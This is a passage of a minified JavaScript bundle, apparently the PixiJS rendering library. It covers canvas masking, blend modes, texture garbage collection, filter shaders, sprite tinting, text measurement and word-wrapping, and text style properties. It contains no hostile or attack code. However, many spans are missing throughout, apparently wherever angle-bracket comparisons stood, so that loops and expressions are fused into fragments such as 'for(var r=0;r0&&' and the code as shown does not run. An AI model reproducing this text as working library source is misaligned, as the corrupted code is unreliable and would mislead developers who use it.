M=s.x,P=s.y,C=s.width,R=s.height,A=s.radius,I=Math.min(C,R)/2|0;A=A>I?I:A,e.moveTo(M,P+A),e.lineTo(M,P+R-A),e.quadraticCurveTo(M,P+R,M+A,P+R),e.lineTo(M+C-A,P+R),e.quadraticCurveTo(M+C,P+R,M+C,P+R-A),e.lineTo(M+C,P+A),e.quadraticCurveTo(M+C,P,M+C-A,P),e.lineTo(M+A,P),e.quadraticCurveTo(M,P,M,P+A),e.closePath()}}}},t.prototype.popMask=function(t){t.context.restore(),t.invalidateBlendMode()},t.prototype.destroy=function(){},t}();r.default=o},{"../../../const":46}],79:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=function(){function t(t,e){for(var r=0;r0&&void 0!==arguments[0]?arguments[0]:[];return(0,s.default)()?(t[i.BLEND_MODES.NORMAL]="source-over",t[i.BLEND_MODES.ADD]="lighter",t[i.BLEND_MODES.MULTIPLY]="multiply",t[i.BLEND_MODES.SCREEN]="screen",t[i.BLEND_MODES.OVERLAY]="overlay",t[i.BLEND_MODES.DARKEN]="darken",t[i.BLEND_MODES.LIGHTEN]="lighten",t[i.BLEND_MODES.COLOR_DODGE]="color-dodge",t[i.BLEND_MODES.COLOR_BURN]="color-burn",t[i.BLEND_MODES.HARD_LIGHT]="hard-light",t[i.BLEND_MODES.SOFT_LIGHT]="soft-light",t[i.BLEND_MODES.DIFFERENCE]="difference",t[i.BLEND_MODES.EXCLUSION]="exclusion",t[i.BLEND_MODES.HUE]="hue",t[i.BLEND_MODES.SATURATION]="saturate",t[i.BLEND_MODES.COLOR]="color",t[i.BLEND_MODES.LUMINOSITY]="luminosity"):(t[i.BLEND_MODES.NORMAL]="source-over",t[i.BLEND_MODES.ADD]="lighter",t[i.BLEND_MODES.MULTIPLY]="source-over",t[i.BLEND_MODES.SCREEN]="source-over",t[i.BLEND_MODES.OVERLAY]="source-over",t[i.BLEND_MODES.DARKEN]="source-over",t[i.BLEND_MODES.LIGHTEN]="source-over",t[i.BLEND_MODES.COLOR_DODGE]="source-over",t[i.BLEND_MODES.COLOR_BURN]="source-over",t[i.BLEND_MODES.HARD_LIGHT]="source-over",t[i.BLEND_MODES.SOFT_LIGHT]="source-over",t[i.BLEND_MODES.DIFFERENCE]="source-over",t[i.BLEND_MODES.EXCLUSION]="source-over",t[i.BLEND_MODES.HUE]="source-over",t[i.BLEND_MODES.SATURATION]="source-over",t[i.BLEND_MODES.COLOR]="source-over",t[i.BLEND_MODES.LUMINOSITY]="source-over"),t[i.BLEND_MODES.NORMAL_NPM]=t[i.BLEND_MODES.NORMAL],t[i.BLEND_MODES.ADD_NPM]=t[i.BLEND_MODES.ADD],t[i.BLEND_MODES.SCREEN_NPM]=t[i.BLEND_MODES.SCREEN],t}r.__esModule=!0,r.default=n;var i=t("../../../const"),o=t("./canUseNewCanvasBlendModes"),s=function(t){return t&&t.__esModule?t:{default:t}}(o)},{"../../../const":46,"./canUseNewCanvasBlendModes":80}],82:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=t("../../const"),o=t("../../settings"),s=function(t){return t&&t.__esModule?t:{default:t}}(o),a=function(){function t(e){n(this,t),this.renderer=e,this.count=0,this.checkCount=0,this.maxIdle=s.default.GC_MAX_IDLE,this.checkCountMax=s.default.GC_MAX_CHECK_COUNT,this.mode=s.default.GC_MODE}return t.prototype.update=function(){this.count++,this.mode!==i.GC_MODES.MANUAL&&++this.checkCount>this.checkCountMax&&(this.checkCount=0,this.run())},t.prototype.run=function(){for(var t=this.renderer.textureManager,e=t._managedTextures,r=!1,n=0;nthis.maxIdle&&(t.destroyTexture(i,!0),e[n]=null,r=!0)}if(r){for(var o=0,s=0;s=0;r--)this.unload(t.children[r])},t}();r.default=a},{"../../const":46,"../../settings":101}],83:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=t("pixi-gl-core"),o=t("../../const"),s=t("./utils/RenderTarget"),a=function(t){return t&&t.__esModule?t:{default:t}}(s),u=t("../../utils"),h=function(){function t(e){n(this,t),this.renderer=e,this.gl=e.gl,this._managedTextures=[]}return t.prototype.bindTexture=function(){},t.prototype.getTexture=function(){},t.prototype.updateTexture=function(t,e){var r=this.gl,n=!!t._glRenderTargets;if(!t.hasLoaded)return null;var s=this.renderer.boundTextures;if(void 0===e){e=0;for(var u=0;u 0.5)"," {"," color = vec4(1.0, 0.0, 0.0, 1.0);"," }"," else"," {"," color = vec4(0.0, 1.0, 0.0, 1.0);"," }"," gl_FragColor = mix(sample, masky, 0.5);"," gl_FragColor *= sample.a;","}"].join("\n")}}]),t}();r.default=f},{"../../../const":46,"../../../settings":101,"../../../utils":125,"./extractUniformsFromSrc":87}],87:[function(t,e,r){"use strict";function n(t,e,r){var n=i(t),o=i(e);return Object.assign(n,o)}function i(t){for(var e=new RegExp("^(projectionMatrix|uSampler|filterArea|filterClamp)$"),r={},n=void 0,i=t.replace(/\s+/g," ").split(/\s*;\s*/),o=0;o-1){var u=s.split(" "),h=u[1],l=u[2],c=1;l.indexOf("[")>-1&&(n=l.split(/\[|]/),l=n[0],c*=Number(n[1])),l.match(e)||(r[l]={value:a(h,c),name:l,type:h})}}return r}r.__esModule=!0,r.default=n;var o=t("pixi-gl-core"),s=function(t){return t&&t.__esModule?t:{default:t}}(o),a=s.default.shader.defaultValue},{"pixi-gl-core":15}],88:[function(t,e,r){"use strict";function n(t,e,r){var n=t.identity();return n.translate(e.x/r.width,e.y/r.height),n.scale(r.width,r.height),n}function i(t,e,r){var n=t.identity();n.translate(e.x/r.width,e.y/r.height);var i=r.width/e.width,o=r.height/e.height;return n.scale(i,o),n}function o(t,e,r,n){var i=n._texture.orig,o=t.set(r.width,0,0,r.height,e.x,e.y),a=n.worldTransform.copy(s.Matrix.TEMP_MATRIX);return a.invert(),o.prepend(a),o.scale(1/i.width,1/i.height),o.translate(n.anchor.x,n.anchor.y),o}r.__esModule=!0,r.calculateScreenSpaceMatrix=n,r.calculateNormalizedScreenSpaceMatrix=i,r.calculateSpriteMatrix=o;var s=t("../../../math")},{"../../../math":70}],89:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function s(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var a=t("../Filter"),u=n(a),h=t("../../../../math"),l=(t("path"),t("../../../../textures/TextureMatrix")),c=n(l),d=function(t){function e(r){i(this,e);var n=new h.Matrix,s=o(this,t.call(this,"attribute vec2 aVertexPosition;\nattribute vec2 aTextureCoord;\n\nuniform mat3 projectionMatrix;\nuniform mat3 otherMatrix;\n\nvarying vec2 vMaskCoord;\nvarying vec2 vTextureCoord;\n\nvoid main(void)\n{\n gl_Position = vec4((projectionMatrix * vec3(aVertexPosition, 1.0)).xy, 0.0, 1.0);\n\n vTextureCoord = aTextureCoord;\n vMaskCoord = ( otherMatrix * vec3( aTextureCoord, 1.0) ).xy;\n}\n","varying vec2 vMaskCoord;\nvarying vec2 vTextureCoord;\n\nuniform sampler2D uSampler;\nuniform sampler2D mask;\nuniform float alpha;\nuniform vec4 maskClamp;\n\nvoid main(void)\n{\n float clip = step(3.5,\n step(maskClamp.x, vMaskCoord.x) +\n step(maskClamp.y, vMaskCoord.y) +\n step(vMaskCoord.x, maskClamp.z) +\n step(vMaskCoord.y, maskClamp.w));\n\n vec4 original = texture2D(uSampler, vTextureCoord);\n vec4 masky = texture2D(mask, vMaskCoord);\n\n original *= (masky.r * masky.a * alpha * clip);\n\n gl_FragColor = original;\n}\n"));return r.renderable=!1,s.maskSprite=r,s.maskMatrix=n,s}return s(e,t),e.prototype.apply=function(t,e,r,n){var i=this.maskSprite,o=this.maskSprite.texture;o.valid&&(o.transform||(o.transform=new c.default(o,0)),o.transform.update(),this.uniforms.mask=o,this.uniforms.otherMatrix=t.calculateSpriteMatrix(this.maskMatrix,i).prepend(o.transform.mapCoord),this.uniforms.alpha=i.worldAlpha,this.uniforms.maskClamp=o.transform.uClampFrame,t.applyFilter(this,e,r,n))},e}(u.default);r.default=d},{"../../../../math":70,"../../../../textures/TextureMatrix":116,"../Filter":86,path:8}],90:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function s(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var a=t("./WebGLManager"),u=n(a),h=t("../utils/RenderTarget"),l=n(h),c=t("../utils/Quad"),d=n(c),f=t("../../../math"),p=t("../../../Shader"),v=n(p),g=t("../filters/filterTransforms"),y=function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e.default=t,e}(g),m=t("bit-twiddle"),_=n(m),b=function(){function t(){s(this,t),this.renderTarget=null,this.target=null,this.resolution=1,this.sourceFrame=new f.Rectangle,this.destinationFrame=new f.Rectangle,this.filters=[]}return t.prototype.clear=function(){this.filters=null,this.target=null,this.renderTarget=null},t}(),x=function(t){function e(r){s(this,e);var n=i(this,t.call(this,r));return n.gl=n.renderer.gl,n.quad=new d.default(n.gl,r.state.attribState),n.shaderCache={},n.pool={},n.filterData=null,n.managedFilters=[],n.renderer.on("prerender",n.onPrerender,n),n._screenWidth=r.view.width,n._screenHeight=r.view.height,n}return o(e,t),e.prototype.pushFilter=function(t,e){var r=this.renderer,n=this.filterData;if(!n){n=this.renderer._activeRenderTarget.filterStack;var i=new b;i.sourceFrame=i.destinationFrame=this.renderer._activeRenderTarget.size,i.renderTarget=r._activeRenderTarget,this.renderer._activeRenderTarget.filterData=n={index:0,stack:[i]},this.filterData=n}var o=n.stack[++n.index],s=n.stack[0].destinationFrame;o||(o=n.stack[n.index]=new b);var a=t.filterArea&&0===t.filterArea.x&&0===t.filterArea.y&&t.filterArea.width===r.screen.width&&t.filterArea.height===r.screen.height,u=e[0].resolution,h=0|e[0].padding,l=a?r.screen:t.filterArea||t.getBounds(!0),c=o.sourceFrame,d=o.destinationFrame;c.x=(l.x*u|0)/u,c.y=(l.y*u|0)/u,c.width=(l.width*u|0)/u,c.height=(l.height*u|0)/u,a||(n.stack[0].renderTarget.transform||e[0].autoFit&&c.fit(s),c.pad(h)),d.width=c.width,d.height=c.height;var f=this.getPotRenderTarget(r.gl,c.width,c.height,u);o.target=t,o.filters=e,o.resolution=u,o.renderTarget=f,f.setFrame(d,c),r.bindRenderTarget(f),f.clear()},e.prototype.popFilter=function(){var t=this.filterData,e=t.stack[t.index-1],r=t.stack[t.index];this.quad.map(r.renderTarget.size,r.sourceFrame).upload();var n=r.filters;if(1===n.length)n[0].apply(this,r.renderTarget,e.renderTarget,!1,r),this.freePotRenderTarget(r.renderTarget);else{var i=r.renderTarget,o=this.getPotRenderTarget(this.renderer.gl,r.sourceFrame.width,r.sourceFrame.height,r.resolution);o.setFrame(r.destinationFrame,r.sourceFrame),o.clear();var s=0;for(s=0;s0&&void 0!==arguments[0]&&arguments[0],e=this.renderer,r=this.managedFilters;e.off("prerender",this.onPrerender,this);for(var n=0;n0&&(e+="\nelse "),r1&&void 0!==arguments[1]?arguments[1]:[];return e[i.BLEND_MODES.NORMAL]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.ADD]=[t.ONE,t.ONE],e[i.BLEND_MODES.MULTIPLY]=[t.DST_COLOR,t.ONE_MINUS_SRC_ALPHA,t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.SCREEN]=[t.ONE,t.ONE_MINUS_SRC_COLOR,t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.OVERLAY]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.DARKEN]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.LIGHTEN]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.COLOR_DODGE]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.COLOR_BURN]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.HARD_LIGHT]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.SOFT_LIGHT]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.DIFFERENCE]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.EXCLUSION]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.HUE]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.SATURATION]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.COLOR]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.LUMINOSITY]=[t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.NORMAL_NPM]=[t.SRC_ALPHA,t.ONE_MINUS_SRC_ALPHA,t.ONE,t.ONE_MINUS_SRC_ALPHA],e[i.BLEND_MODES.ADD_NPM]=[t.SRC_ALPHA,t.ONE,t.ONE,t.ONE],e[i.BLEND_MODES.SCREEN_NPM]=[t.SRC_ALPHA,t.ONE_MINUS_SRC_COLOR,t.ONE,t.ONE_MINUS_SRC_ALPHA],e}r.__esModule=!0,r.default=n;var i=t("../../../const")},{"../../../const":46}],99:[function(t,e,r){"use strict";function n(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return e[i.DRAW_MODES.POINTS]=t.POINTS,e[i.DRAW_MODES.LINES]=t.LINES,e[i.DRAW_MODES.LINE_LOOP]=t.LINE_LOOP,e[i.DRAW_MODES.LINE_STRIP]=t.LINE_STRIP,e[i.DRAW_MODES.TRIANGLES]=t.TRIANGLES,e[i.DRAW_MODES.TRIANGLE_STRIP]=t.TRIANGLE_STRIP,e[i.DRAW_MODES.TRIANGLE_FAN]=t.TRIANGLE_FAN,e}r.__esModule=!0,r.default=n;var i=t("../../../const")},{"../../../const":46}],100:[function(t,e,r){"use strict";function n(t){t.getContextAttributes().stencil||console.warn("Provided WebGL context does not have a stencil buffer, masks may not render correctly")}r.__esModule=!0,r.default=n},{}],101:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}r.__esModule=!0;var i=t("./utils/maxRecommendedTextures"),o=n(i),s=t("./utils/canUploadSameBuffer"),a=n(s);r.default={TARGET_FPMS:.06,MIPMAP_TEXTURES:!0,RESOLUTION:1,FILTER_RESOLUTION:1,SPRITE_MAX_TEXTURES:(0,o.default)(32),SPRITE_BATCH_SIZE:4096,RETINA_PREFIX:/@([0-9\.]+)x/,RENDER_OPTIONS:{view:null,antialias:!1,forceFXAA:!1,autoResize:!1,transparent:!1,backgroundColor:0,clearBeforeRender:!0,preserveDrawingBuffer:!1,roundPixels:!1,width:800,height:600,legacy:!1},TRANSFORM_MODE:0,GC_MODE:0,GC_MAX_IDLE:3600,GC_MAX_CHECK_COUNT:600,WRAP_MODE:0,SCALE_MODE:0,PRECISION_VERTEX:"highp",PRECISION_FRAGMENT:"mediump",CAN_UPLOAD_SAME_BUFFER:(0,a.default)(),MESH_CANVAS_PADDING:0}},{"./utils/canUploadSameBuffer":122,"./utils/maxRecommendedTextures":127}],102:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function s(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var a=function(){function t(t,e){for(var r=0;r=n&&v.x=i&&v.y>16)+(65280&t)+((255&t)<<16)}},{key:"texture",get:function(){return this._texture},set:function(t){this._texture!==t&&(this._texture=t||d.default.EMPTY,this.cachedTint=16777215,this._textureID=-1,this._textureTrimmedID=-1,t&&(t.baseTexture.hasLoaded?this._onTextureUpdate():t.once("update",this._onTextureUpdate,this)))}}]),e}(p.default);r.default=g},{"../const":46,"../display/Container":48,"../math":70,"../textures/Texture":115,"../utils":125}],103:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var o=t("../../renderers/canvas/CanvasRenderer"),s=n(o),a=t("../../const"),u=t("../../math"),h=t("./CanvasTinter"),l=n(h),c=new u.Matrix,d=function(){function t(e){i(this,t),this.renderer=e}return t.prototype.render=function(t){var e=t._texture,r=this.renderer,n=e._frame.width,i=e._frame.height,o=t.transform.worldTransform,s=0,h=0;if(!(e.orig.width<=0||e.orig.height<=0)&&e.baseTexture.source&&(r.setBlendMode(t.blendMode),e.valid)){r.context.globalAlpha=t.worldAlpha;var d=e.baseTexture.scaleMode===a.SCALE_MODES.LINEAR;r.smoothProperty&&r.context[r.smoothProperty]!==d&&(r.context[r.smoothProperty]=d),e.trim?(s=e.trim.width/2+e.trim.x-t.anchor.x*e.orig.width,h=e.trim.height/2+e.trim.y-t.anchor.y*e.orig.height):(s=(.5-t.anchor.x)*e.orig.width,h=(.5-t.anchor.y)*e.orig.height),e.rotate&&(o.copy(c),o=c,u.GroupD8.matrixAppendRotationInv(o,e.rotate,s,h),s=0,h=0),s-=n/2,h-=i/2,r.roundPixels?(r.context.setTransform(o.a,o.b,o.c,o.d,o.tx*r.resolution|0,o.ty*r.resolution|0),s|=0,h|=0):r.context.setTransform(o.a,o.b,o.c,o.d,o.tx*r.resolution,o.ty*r.resolution);var f=e.baseTexture.resolution;16777215!==t.tint?(t.cachedTint===t.tint&&t.tintedTexture.tintId===t._texture._updateID||(t.cachedTint=t.tint,t.tintedTexture=l.default.getTintedTexture(t,t.tint)),r.context.drawImage(t.tintedTexture,0,0,n*f,i*f,s*r.resolution,h*r.resolution,n*r.resolution,i*r.resolution)):r.context.drawImage(e.baseTexture.source,e._frame.x*f,e._frame.y*f,n*f,i*f,s*r.resolution,h*r.resolution,n*r.resolution,i*r.resolution)}},t.prototype.destroy=function(){this.renderer=null},t}();r.default=d,s.default.registerPlugin("sprite",d)},{"../../const":46,"../../math":70,"../../renderers/canvas/CanvasRenderer":77,"./CanvasTinter":104}],104:[function(t,e,r){"use strict";r.__esModule=!0;var n=t("../../utils"),i=t("../../renderers/canvas/utils/canUseNewCanvasBlendModes"),o=function(t){return t&&t.__esModule?t:{default:t}}(i),s={getTintedTexture:function(t,e){var r=t._texture;e=s.roundColor(e);var n="#"+("00000"+(0|e).toString(16)).substr(-6);r.tintCache=r.tintCache||{};var i=r.tintCache[n],o=void 0;if(i){if(i.tintId===r._updateID)return r.tintCache[n];o=r.tintCache[n]}else o=s.canvas||document.createElement("canvas");if(s.tintMethod(r,e,o),o.tintId=r._updateID,s.convertTintToImage){var a=new Image;a.src=o.toDataURL(),r.tintCache[n]=a}else r.tintCache[n]=o,s.canvas=null;return o},tintWithMultiply:function(t,e,r){var n=r.getContext("2d"),i=t._frame.clone(),o=t.baseTexture.resolution;i.x*=o,i.y*=o,i.width*=o,i.height*=o,r.width=Math.ceil(i.width),r.height=Math.ceil(i.height),n.save(),n.fillStyle="#"+("00000"+(0|e).toString(16)).substr(-6),n.fillRect(0,0,i.width,i.height),n.globalCompositeOperation="multiply",n.drawImage(t.baseTexture.source,i.x,i.y,i.width,i.height,0,0,i.width,i.height),n.globalCompositeOperation="destination-atop",n.drawImage(t.baseTexture.source,i.x,i.y,i.width,i.height,0,0,i.width,i.height),n.restore()},tintWithOverlay:function(t,e,r){var n=r.getContext("2d"),i=t._frame.clone(),o=t.baseTexture.resolution;i.x*=o,i.y*=o,i.width*=o,i.height*=o,r.width=Math.ceil(i.width),r.height=Math.ceil(i.height),n.save(),n.globalCompositeOperation="copy",n.fillStyle="#"+("00000"+(0|e).toString(16)).substr(-6),n.fillRect(0,0,i.width,i.height),n.globalCompositeOperation="destination-atop",n.drawImage(t.baseTexture.source,i.x,i.y,i.width,i.height,0,0,i.width,i.height),n.restore()},tintWithPerPixel:function(t,e,r){var i=r.getContext("2d"),o=t._frame.clone(),s=t.baseTexture.resolution;o.x*=s,o.y*=s,o.width*=s,o.height*=s,r.width=Math.ceil(o.width),r.height=Math.ceil(o.height),i.save(),i.globalCompositeOperation="copy",i.drawImage(t.baseTexture.source,o.x,o.y,o.width,o.height,0,0,o.width,o.height),i.restore();for(var a=(0,n.hex2rgb)(e),u=a[0],h=a[1],l=a[2],c=i.getImageData(0,0,o.width,o.height),d=c.data,f=0;f=this.size&&this.flush(),t._texture._uvs&&(this.sprites[this.currentIndex++]=t)},e.prototype.flush=function(){if(0!==this.currentIndex){var t=this.renderer.gl,e=this.MAX_TEXTURES,r=S.default.nextPow2(this.currentIndex),n=S.default.log2(r),i=this.buffers[n],o=this.sprites,s=this.groups,a=i.float32View,u=i.uint32View,h=this.boundTextures,l=this.renderer.boundTextures,c=this.renderer.textureGC.count,d=0,f=void 0,p=void 0,v=1,g=0,y=s[0],m=void 0,_=void 0,T=x.premultiplyBlendMode[o[0]._texture.baseTexture.premultipliedAlpha?1:0][o[0].blendMode];y.textureCount=0,y.start=0,y.blend=T,O++;var E=void 0;for(E=0;E0&&(e+="\nelse "),r0&&(r.shadowColor=e.dropShadowColor);for(var f=Math.cos(e.dropShadowAngle)*e.dropShadowDistance,p=Math.sin(e.dropShadowAngle)*e.dropShadowDistance,v=0;v3&&void 0!==arguments[3]&&arguments[3],i=this._style,o=i.letterSpacing;if(0===o)return void(n?this.context.strokeText(t,e,r):this.context.fillText(t,e,r));for(var s=String.prototype.split.call(t,""),a=e,u=0,h="",l=this.context.measureText(t).width,c=0;u3&&void 0!==arguments[3]?arguments[3]:t._canvas;n=void 0===n||null===n?r.wordWrap:n;var o=r.toFontString(),s=t.measureFont(o),a=i.getContext("2d");a.font=o;for(var u=n?t.wordWrap(e,r,i):e,h=u.split(/(?:\r\n|\r|\n)/),l=new Array(h.length),c=0,d=0;d2&&void 0!==arguments[2]?arguments[2]:t._canvas,i=n.getContext("2d"),o=0,s="",a="",u={},h=r.letterSpacing,l=r.whiteSpace,c=t.collapseSpaces(l),d=t.collapseNewlines(l),f=!c,p=r.wordWrapWidth+h,v=t.tokenize(e),g=0;gp)if(""!==s&&(a+=t.addLine(s),s="",o=0),t.canBreakWords(y,r.breakWords))for(var x=y.split(""),T=0;Tp&&(a+=t.addLine(s),f=!1,s="",o=0),s+=w,o+=M}else{s.length>0&&(a+=t.addLine(s),s="",o=0);var P=g===v.length-1;a+=t.addLine(y,!P),f=!1,s="",o=0}else b+o>p&&(f=!1,a+=t.addLine(s),s="",o=0),(s.length>0||!t.isBreakingSpace(y)||f)&&(s+=y,o+=b)}return a+=t.addLine(s,!1)},t.addLine=function(e){var r=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return e=t.trimRight(e),e=r?e+"\n":e},t.getFromCache=function(t,e,r,n){var i=r[t];if(void 0===i){var o=t.length*e;i=n.measureText(t).width+o,r[t]=i}return i},t.collapseSpaces=function(t){return"normal"===t||"pre-line"===t},t.collapseNewlines=function(t){return"normal"===t},t.trimRight=function(e){if("string"!=typeof e)return"";for(var r=e.length-1;r>=0;r--){var n=e[r];if(!t.isBreakingSpace(n))break;e=e.slice(0,-1)}return e},t.isNewline=function(e){return"string"==typeof e&&t._newlines.indexOf(e.charCodeAt(0))>=0},t.isBreakingSpace=function(e){return"string"==typeof e&&t._breakingSpaces.indexOf(e.charCodeAt(0))>=0},t.tokenize=function(e){var r=[],n="";if("string"!=typeof e)return r;for(var i=0;ia;--d){for(var g=0;g0&&void 0!==arguments[0]?arguments[0]:"";e?delete t._fonts[e]:t._fonts={}},t}();r.default=i;var o=document.createElement("canvas");o.width=o.height=10,i._canvas=o,i._context=o.getContext("2d"),i._fonts={},i.METRICS_STRING="|Éq",i.BASELINE_SYMBOL="M",i.BASELINE_MULTIPLIER=1.4,i._newlines=[10,13],i._breakingSpaces=[9,32,8192,8193,8194,8195,8196,8197,8198,8200,8201,8202,8287,12288]},{}],110:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t){return"number"==typeof t?(0,l.hex2string)(t):("string"==typeof t&&0===t.indexOf("0x")&&(t=t.replace("0x","#")),t)}function o(t){if(Array.isArray(t)){for(var e=0;e=0;r--){var n=e[r].trim();!/([\"\'])[^\'\"]+\1/.test(n)&&d.indexOf(n)<0&&(n='"'+n+'"'),e[r]=n}return this.fontStyle+" "+this.fontVariant+" "+this.fontWeight+" "+t+" "+e.join(",")},u(t,[{key:"align",get:function(){return this._align},set:function(t){this._align!==t&&(this._align=t,this.styleID++)}},{key:"breakWords",get:function(){return this._breakWords},set:function(t){this._breakWords!==t&&(this._breakWords=t,this.styleID++)}},{key:"dropShadow",get:function(){return this._dropShadow},set:function(t){this._dropShadow!==t&&(this._dropShadow=t,this.styleID++)}},{key:"dropShadowAlpha",get:function(){return this._dropShadowAlpha},set:function(t){this._dropShadowAlpha!==t&&(this._dropShadowAlpha=t,this.styleID++)}},{key:"dropShadowAngle",get:function(){return this._dropShadowAngle},set:function(t){this._dropShadowAngle!==t&&(this._dropShadowAngle=t,this.styleID++)}},{key:"dropShadowBlur",get:function(){return this._dropShadowBlur},set:function(t){this._dropShadowBlur!==t&&(this._dropShadowBlur=t,this.styleID++)}},{key:"dropShadowColor",get:function(){return this._dropShadowColor},set:function(t){var e=o(t);this._dropShadowColor!==e&&(this._dropShadowColor=e,this.styleID++)}},{key:"dropShadowDistance",get:function(){return this._dropShadowDistance},set:function(t){this._dropShadowDistance!==t&&(this._dropShadowDistance=t,this.styleID++)}},{key:"fill",get:function(){return this._fill},set:function(t){var e=o(t);this._fill!==e&&(this._fill=e,this.styleID++)}},{key:"fillGradientType",get:function(){return this._fillGradientType},set:function(t){this._fillGradientType!==t&&(this._fillGradientType=t,this.styleID++)}},{key:"fillGradientStops",get:function(){return this._fillGradientStops},set:function(t){s(this._fillGradientStops,t)||(this._fillGradientStops=t,this.styleID++)}},{key:"fontFamily",get:function(){return this._fontFamily},set:function(t){this.fontFamily!==t&&(this._fontFamily=t,this.styleID++)}},{key:"fontSize",get:function(){return this._fontSize},set:function(t){this._fontSize!==t&&(this._fontSize=t,this.styleID++)}},{key:"fontStyle",get:function(){return this._fontStyle},set:function(t){this._fontStyle!==t&&(this._fontStyle=t,this.styleID++)}},{key:"fontVariant",get:function(){return this._fontVariant},set:function(t){this._fontVariant!==t&&(this._fontVariant=t,this.styleID++)}},{key:"fontWeight",get:function(){return this._fontWeight},set:function(t){this._fontWeight!==t&&(this._fontWeight=t,this.styleID++)}},{key:"letterSpacing",get:function(){return this._letterSpacing},set:function(t){this._letterSpacing!==t&&(this._letterSpacing=t,this.styleID++)}},{key:"lineHeight",get:function(){return this._lineHeight},set:function(t){this._lineHeight!==t&&(this._lineHeight=t,this.styleID++)}},{key:"leading",get:function(){return this._leading},set:function(t){this._leading!==t&&(this._leading=t,this.styleID++)}},{key:"lineJoin",get:function(){return this._lineJoin},set:function(t){this._lineJoin!==t&&(this._lineJoin=t,this.styleID++)}},{key:"miterLimit",get:function(){return this._miterLimit},set:function(t){this._miterLimit!==t&&(this._miterLimit=t,this.styleID++)}},{key:"padding",get:function(){return this._padding},set:function(t){this._padding!==t&&(this._padding=t,this.styleID++)}},{key:"stroke",get:function(){return this._stroke},set:function(t){var e=o(t);this._stroke!==e&&(this._stroke=e,this.styleID++)}},{key:"strokeThickness",get:function(){return this._strokeThickness},set:function(t){this._strokeThickness!==t&&(this._strokeThickness=t,this.styleID++)}},{key:"textBaseline",get:function(){return this._textBaseline},set:function(t){this._textBaseline!==t&&(this._textBaseline=t,this.styleID++)}},{key:"trim",get:function(){return this._trim},set:function(t){this._trim!==t&&(this._trim=t,this.styleID++)}},{key:"whiteSpace",get:function(){return this._whiteSpace},set:function(t){this._whiteSpace!==t&&(this._whiteSpace=t,this.styleID++)}},{key:"wordWrap",get:function(){return this._wordWrap},set:function(t){this._wordWrap!==t&&(this._wordWrap=t,this.styleID++)}},{key:"wordWrapWidth",get:function(){return this._wordWrapWidth},set:function(t){this._wordWrapWidth!==t&&(this._wordWrapWidth=t,this.styleID++)}}]),t}();r.default=f},{"../const":46,"../utils":125}],111:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new 